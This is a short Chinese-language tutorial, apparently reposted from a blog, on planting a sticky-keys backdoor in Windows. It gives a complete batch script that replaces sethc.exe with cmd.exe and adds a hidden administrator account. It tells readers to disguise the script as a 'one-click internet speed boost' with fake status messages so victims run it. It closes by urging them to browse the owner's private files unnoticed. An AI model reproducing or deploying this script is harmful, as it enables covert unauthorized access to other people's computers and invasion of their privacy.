1.前提
你可以在平時親身接觸狀態電腦，哪怕是在電腦主人不在的時候（雖然主人不在，或者關機了，進入電腦是要密碼的）。
2.原理
利用電腦連續按5次Shift會觸發粘滯鍵，它會運行c:\winows\system32\setchx.exe
3.Shift后門程序編寫
將下面的內容保存成.bat后綴的文件，文件名你可以自己取，取的吸引人一點，他們就會點了，你懂的！
為了讓別人不知道你這個程序在處理什么，你可以在里面寫一些讓他以為在做正常的東西的文字。
文件名：一鍵提升網速.bat
- copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
- copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
- echo 你的網速太慢了！
- net user admin 123456 /add && net localgroup administrators admin /add
- echo 你把我這個文件刪了吧!
其中里面有句語法是這樣的：
net user 你要添加的用戶名 密碼 /add && net localgroup administrators 你要添加的用戶名 /add
所以上面的程序他一旦執行，那么就會創建一個叫 admin 的用戶 密碼是 123456
那么如果我想先植入，以后我自己去創建用戶呢？
那很簡單，把最后一句給去掉，到時候，窗口彈出來了之后你再手動輸入那句命令。
- echo 開始分析網絡......
- copy c:\windows\system32\cmd.exe c:\windows\system32\dllcache\sethc.exe
- copy c:\windows\system32\dllcache\sethc.exe c:\windows\system32\sethc.exe
- echo 你把我這個文件刪了吧!
保存上面這段，再開機后，進入要輸入密碼的地方，連續按5次 Shift鍵，就會運行cmd.exe，這個時候再執行：
net user admin 123456 /add && net localgroup administrators admin /add
一樣可以添加管理賬戶，並且可以讓人神不知鬼不覺。
好了，這回你可以安心的去瀏覽他的電腦里的小秘密了！
http://blog.csdn.net/yakson/article/details/9698275